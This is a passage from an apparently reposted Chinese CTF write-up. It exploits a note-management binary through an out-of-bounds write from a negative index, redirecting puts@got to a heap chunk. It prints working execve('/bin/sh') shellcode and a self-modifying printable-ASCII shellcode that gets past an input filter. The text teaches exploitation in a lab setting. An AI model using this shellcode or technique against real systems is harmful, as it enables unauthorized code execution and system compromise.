题目逻辑比较简单,大概增加和删除和打印三个功能:

show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大:

delete函数中,正常的free,然后指针修改为null,可能不存在漏洞,唯一的bug在于read_int()函数中

readint函数使用了atoi函数,当输入是“-12”这样的负数时,造成读越界,但是由于在delete函数中,用处不是特别大

最后,add函数

函数的逻辑是在note数组中写入malloc的返回的指针,并且同样用了readint函数,可以发现存在越界写的问题,而note变量在bss段上,可以想到覆写got表:

而检查一下文件开启的保护,没有开启NX保护,也就是可以写入shellcode,这样put@got指向malloc返回地址,malloc块中写入shellcode,便可以获得shell。

而针对用户输入,还有一个函数用来检测,

因此需要保证用户输入范围是从2F~7F范围内。即考察shellcode的编写。

常见的shellcode思路是利用int 80h陷入软中断,

并使得eax内容为0x0b,ebx指向一个字符串"/bin/sh",ecx、edx置0。如shellcraft.sh()

    /* execve(path='/bin///sh', argv=['sh'], envp=) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

但在汇编以后,不能满足我们的要求。

根据某大牛博客中写到,此题可用的汇编指令如下:

.数据传送:
push/pop eax…
pusha/popa .算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数] .逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数] xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数] .比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数] .转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable <=> jmp lable .交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax .清零:
push 44h
pop eax
sub al, 44h ; eax = 0 push esi
push esp
pop eax
xor [eax], esi ; esi = 0

可以先看一下,执行shellcode时的寄存器状况:

根据如上的寄存器情况,shellcode可以写成这样:

shellcode = '''
/* execve(path='/bin///sh', argv=0, envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
/*rewrite shellcode to get 'int 80'*/
push edx
pop eax
push 0x60606060
pop edx
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x34] , dl
push 0x3e3e3e3e
pop edx
sub byte ptr[eax + 0x34] , dl
/*set zero to edx*/
push ecx
pop edx
/*set 0x0b to eax*/
push edx
pop eax
xor al, 0x40
xor al, 0x4b
/*foo order,for holding the place*/
push edx
pop edx
push edx
pop edx
'''
shellcode = asm(shellcode) + '\x6b\x40'

最新文章

  1. linux+php+apache web调用python脚本权限问题
  2. 线上Java应用排查和诊断规范
  3. [html]兼容 IE6 IE7 的简单网页框架
  4. javascript 的一些理解和随笔
  5. PHP序列化以及反序列化系列[1]--PHP序列化格式的写法
  6. grep的用法
  7. urllib,urllib2,requests对比
  8. http协议中的Content-Type
  9. Reactor模式(反应器模式)
  10. WPF Mahapps.Metro 设置主题样式
  11. 在Mvc中创建WebApi是所遇到的问题
  12. SQL中存储过程和自定义函数的区别(转载)
  13. Spring jdbctemplate学习笔记
  14. Codeforces Round #262 (Div. 2) 460C. Present(二分)
  15. 哈,又一款超级简单的队列(MQ)实现方案来了~
  16. java 处理时间的各种方式——获取时间——时间格式化
  17. struts2整合uploadify插件怎样传参数
  18. Ex 2_27 矩阵A的平方是A自乘后的乘积,即AA..._第三次作业
  19. 【rabbitmq】安装卸载
  20. 英语口语练习系列-C23-运动

热门文章

  1. .hpp 文件
  2. WCF 数据传输SIZE过大
  3. leetCode练题——21. Merge Two Sorted Lists(照搬大神做法)
  4. AbstractQueuedSynchronizer AQS源码分析
  5. gitlab的搭建与使用(一)
  6. 借助工具解决DNS污染
  7. 【转】Docker学习_本地/容器文件互传(5)
  8. vs2013中配置SQLite数据库
  9. Git远程分支代码强制回退&amp;Tag添加
  10. 为kubernetes-dashboard页面增加过期时间,减少登录次数.